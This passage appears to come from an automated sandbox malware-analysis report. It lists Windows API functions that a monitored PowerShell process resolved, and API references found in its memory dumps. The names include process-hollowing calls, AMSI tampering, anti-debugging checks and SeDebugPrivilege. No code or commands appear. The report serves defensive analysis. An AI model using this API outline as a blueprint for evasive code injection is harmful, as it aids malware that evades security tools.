00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnections (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnectionsW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WSASocket (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter setsockopt (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WSAEventSelect (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter ioctlsocket (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter closesocket (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter FormatMessage (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotification (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotificationW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RegOpenCurrentUser (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RegNotifyChangeKeyValue (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpen (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpenW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandle (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandleW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeouts (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeoutsW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetIEProxyConfigForCurrentUser (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter ResetEvent (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrl (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrlW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetNetworkParams (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WSAConnect (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter EnumerateSecurityPackagesW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter FreeContextBuffer (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter FreeCredentialsHandle (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter AcquireCredentialsHandleW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter DeleteSecurityContext (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter InitializeSecurityContextW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter send (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter recv (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter QueryContextAttributesW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CertCloseStore (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStore (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStoreW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStore (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStoreW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStore (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStoreW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStore (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStoreW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChain (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChainW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChain (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChainW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicyW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter EncryptMessage (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter DecryptMessage (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WldpIsDynamicCodePolicyEnabled (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter LoadLibrary (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CheckRemoteDebuggerPresent (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CryptAcquireContext (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CryptGetProvParam (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CryptContextAddRef (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CryptDuplicateKey (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CryptSetKeyParam (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CryptDecrypt (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter IsDebuggerPresent (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationProcess (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter EnumProcesses (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessesW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter select (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter Wow64SetThreadContext (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter Wow64GetThreadContext (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter ReadProcessMemory (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter ZwUnmapViewOfSection (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter TerminateProcess (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter TerminateProcessW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00004904)3a:Taaf2,Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp, 00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp, 00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp, 00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp, 00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp, 00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp, 00000000-00004904.00000000.141303.C6490000.00000004.mdmp, 00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found reference to API (Indicator: "EventWrite"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "InstallELAMCertificateInfo"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "WSACleanup"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "BCryptGetProperty"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "BCryptDestroyHash"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "BCryptCreateHash"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "BCryptFinishHash"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "BCryptHashData"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "BCryptGenRandom"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CryptDestroyHash"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CryptCreateHash"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CryptGetHashParam"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CryptHashData"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CryptReleaseContext"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CryptAcquireContextW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CryptGenRandom"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "SHGetFolderPathW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminCalcHashFromFileHandle"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminAcquireContext"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminEnumCatalogFromHash"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminReleaseContext"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingFromStringBindingW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingSetAuthInfoExW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingSetOption"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingFree"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "RpcSmDestroyClientContext"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "RpcStringFreeW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "RpcStringBindingComposeW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "DebugBreak"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "WaitForMultipleObjects"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "UnregisterWaitEx"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "RegisterWaitForSingleObject"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: 